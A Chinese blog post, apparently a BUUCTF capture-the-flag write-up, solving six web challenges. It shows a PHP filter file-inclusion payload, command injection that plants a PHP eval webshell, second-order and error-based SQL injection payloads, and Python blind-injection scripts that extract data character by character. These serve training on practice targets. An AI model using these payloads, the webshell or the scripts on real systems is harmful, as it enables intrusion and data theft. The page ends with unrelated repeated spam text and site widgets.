【web】buuctf write up day 2

[ACTF2020 新生赛]Include

keywords: 文件包含
在这里插入图片描述
在这里插入图片描述
查看源代码无果。
文件包含漏洞,使用php伪协议,构造如下payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

得到如下base64密文:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZWFhYTU4ZjEtYzM4NC00ZjFhLTg2YzQtMTliMDI4YTZkNDE5fQo=

解密得到flag
在这里插入图片描述

[ACTF2020 新生赛]BackupFile

keywords: backup
在这里插入图片描述
用dirsearch,花了一段时间把dirsearch环境配好,然后直接开search

dirsearch -u http://be8b940c-31a3-42b9-87cf-9fb7c8cd0a58.node5.buuoj.cn:81/ -e *

找到了index.php.bak文件
打开
在这里插入图片描述
意思是要传递一个参数key才能看到flag
在这里插入图片描述
提示just num,还是想太简单了。
后来看代码和看大佬的分析,是整型和字符串的弱比较,所以只需要传递一个123就可以了
在这里插入图片描述
在这里插入图片描述

[极客大挑战 2019]BuyFlag

keywords: 代码逻辑漏洞
在这里插入图片描述
源代码如下:
在这里插入图片描述
满足两个条件才可购买flag:
1.我是CUIT的学生(不是)
2.我传递正确的密码

我做不出来的原因是漏掉了一个条件:需要用POST方法传递参数
那好办了,抓包修改,
在这里插入图片描述
图中三个地方需要改改,直到满足条件为止。
我的bp出了问题,一直post不了数据,用了hackbar才能成功
中间money输入1000000000提示数字太长,有两个方法可以解决:
方法1:用幂代替,1e9
方法2:用数组绕过:money[]=100000
在这里插入图片描述

[ACTF2020 新生赛]Exec

keywords: rce
在这里插入图片描述
没啥好说的,先试试

127.0.0.1|ls
127.0.0.1|ls /

在这里插入图片描述
在这里插入图片描述
这一次试试高级一点的玩法,我要传个一句话木马上去连他, 这里双引号不太行

echo '<?php @eval($_POST['123']);?>' > 1.php

在这里插入图片描述
在这里插入图片描述

[RCTF2015]EasySQL

keywords: sql注入
在这里插入图片描述
登录注册页面,登录页面中没找到什么注入点,来到注册页面,尝试注册一个恶意账号。
以下是尝试的payload, 密码邮箱随便填,我都填了123

admin
admin' or 1=1
admin'                               //成功注册

在这里插入图片描述
登陆以后是这个界面,然后分享一下发dian文章
在这里插入图片描述
跟数据库打交道的点有两个,一个是修改密码,一个是title参数,作为一个优雅的恶意账号,可以试试通过修改密码达到改admin的账户密码的目的。
在这里插入图片描述
抓包看看。
在这里插入图片描述
好像没有什么值得注意的地方,主要是没有username,这里先放一放,看看title。
抓包,好像也没有?
那就抄作业看看

大佬做到这一步也同样没有发现什么注入点,不过注册账号本身就是一个很大的漏洞,因为没有过滤字符。
那就不妨多注册几个而已账号试试,拿burp去爆,发现网站过滤了一些字符,但还有部分字符没被过滤

'、"、\、or、union、select、updatexml、group_concat、database、table、=、()

这就有很大的问题
在这里插入图片描述
比如注册一个含有反斜杠的账号,再修改密码。
admin’
在这里插入图片描述
发现报错信息,可以猜测后台数据库语句为。

select * from 表名 where id="%s" and pwd="密码"

老哥解释地很到位,这是一道二次注入的题目

二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

我们注册账号时候的恶意数据已经插入到数据库,当改密码时,调用username,报错
因此,我们注册用户时候的username就存在注入点,接下来就是正常注入利用的思路, 应该不是union select,而是使用报错注入:
构造payload,作为username

  1. 爆库
1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

额,我这里登录卡在加载页面,估计是网络限制了,知道了原理,我就不继续做了

[CISCN2019 华北赛区 Day2 Web1]Hack World

keywords: sql注入(布尔盲注),php
在这里插入图片描述
得知,table是flag, column是flag,现在就是提交查询

  1. 正常语句和爆字段个数
    输入1,2有正常结果,3报错,说明有只有2列
    在这里插入图片描述
    没想到啊
    order by 直接就被检测到了
    在这里插入图片描述
    经测试,网站过滤了空格,双引号,or,and,分号,union,
    空格用%20绕过。。
    过滤太多了,直接抄作业。

我一开始没注意到这个0和1的问题,看看下面的大佬思路
大佬思路:
分别输入0和1:
在这里插入图片描述
1的话应该就是正确的回显,0的话是错误的回显
这是一个布尔盲注,考虑到涉及到的函数有substr()可以试试
用if()函数进行验证

if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)

可以把if语句里最后的0,1,替换进行验证判断正确和错误的回显
.
.
因为要遍历,那么我们开始写脚本

#///已弃用
import requests
import re
 
url='http://http://3406753b-ac39-485a-8c25-1f08c3b19144.node5.buuoj.cn:81/index.php'   #路径
buu=''     #记录flag
 
for i in range(1,50):   #flag的字符数量
    for j in range(32,140):   #可打印出得所有字符的asii码值
        #构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
        payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
        data={"id":payload}     #构造参数对象
        res=requests.post(url=url,data=data)       #请求
        #进行验证和记录flag
        if 'Hello, glzjin wants a girlfriend' in res.text:
           buu=buu+chr(j)
           print(i)
           print(buu)
           break              #跳出一层循环

使用二分法遍历更快

#//已弃用
import requests
import time
 
url = "http://3406753b-ac39-485a-8c25-1f08c3b19144.node5.buuoj.cn:81/index.php"
payload = {
    "id" : ""
}
flag = ""
for i in range(1,200):      #这里调多大都不会有影响,应为判断结束的条件是用空格判断的
    time.sleep(0.06)        
    head = 33
    tail =130
    mid = (head + tail)//2            
    while(head < tail):
        payload["id"] = "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
        res = requests.post(url,data=payload)
        time.sleep(0.04)
        # print(payload)
        if "Hello" in res.text:
            head = mid + 1
        else:
            tail = mid
        mid = (head + tail)//2
    if(chr(mid)==" "):
        break
    flag  += chr(mid)
    print(flag)
print("flag: " ,flag)

前面的出来了,但跑到后面出了点问题,看看代码先
在这里插入图片描述
拉了个新的二分法遍历

import requests
import time
import re
url='http://3406753b-ac39-485a-8c25-1f08c3b19144.node5.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        r = requests.post(url,data = {'id':payload})
        time.sleep(1)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max=s
        else:
            min=s
        if((max-min)<=1):
            flag+=chr(max)
            print(flag)
            break
print(flag)

终于!!类目
在这里插入图片描述

  • 18
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ava实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),可运行高分资源 Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现的毕业设计&&课程设计(包含运行文档+数据库+前后端代码),Java实现
"Learning Markdown Write for the Web Faster.pdf" 是一份学习使用 Markdown 语法撰写网页的指南。Markdown 是一种轻量级的标记语言,用于简化网页编写过程并提高效率。这份指南介绍了如何使用 Markdown 语法编写文本,以及如何添加格式、链接、图片和表格等元素。 首先,这个文件会教会我们如何使用 Markdown 的基本语法。Markdown 使用一些简单的符号和约定来表示文本的格式,例如使用星号表示斜体或加粗,使用井号表示标题级别,使用减号或星号表示列表等等。这样的语法规则非常容易上手,而且可以减少繁琐而重复的 HTML 标签输入。学习和熟练掌握 Markdown 语法可以大大提高我们撰写网页的速度。 其次,这份指南还介绍了Markdown如何添加链接和图片。在 Markdown 中,我们可以使用简短的语法将链接和图片插入到文本中,而无需编写冗长的HTML代码。这使得在网页中添加外部链接或显示图片变得更加简单和高效。 最后,这份教程还指导我们如何创建和编辑表格。在Markdown中,我们可以使用简单的符号和对齐方式来创建和修改表格,并且可以轻松地在其中添加或删除行和列。这样一来,我们在编写网页时需要用到的简单表格就可以直接使用Markdown语法来创建,而不需要复杂的HTML代码。 总而言之,"Learning Markdown Write for the Web Faster.pdf" 提供了一个方便快捷的学习指南,帮助我们掌握使用 Markdown 语法来更快地撰写网页。通过学习和应用 Markdown,我们可以以更高效和简洁的方式创建和编辑网页内容,提高工作效率并节省时间。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值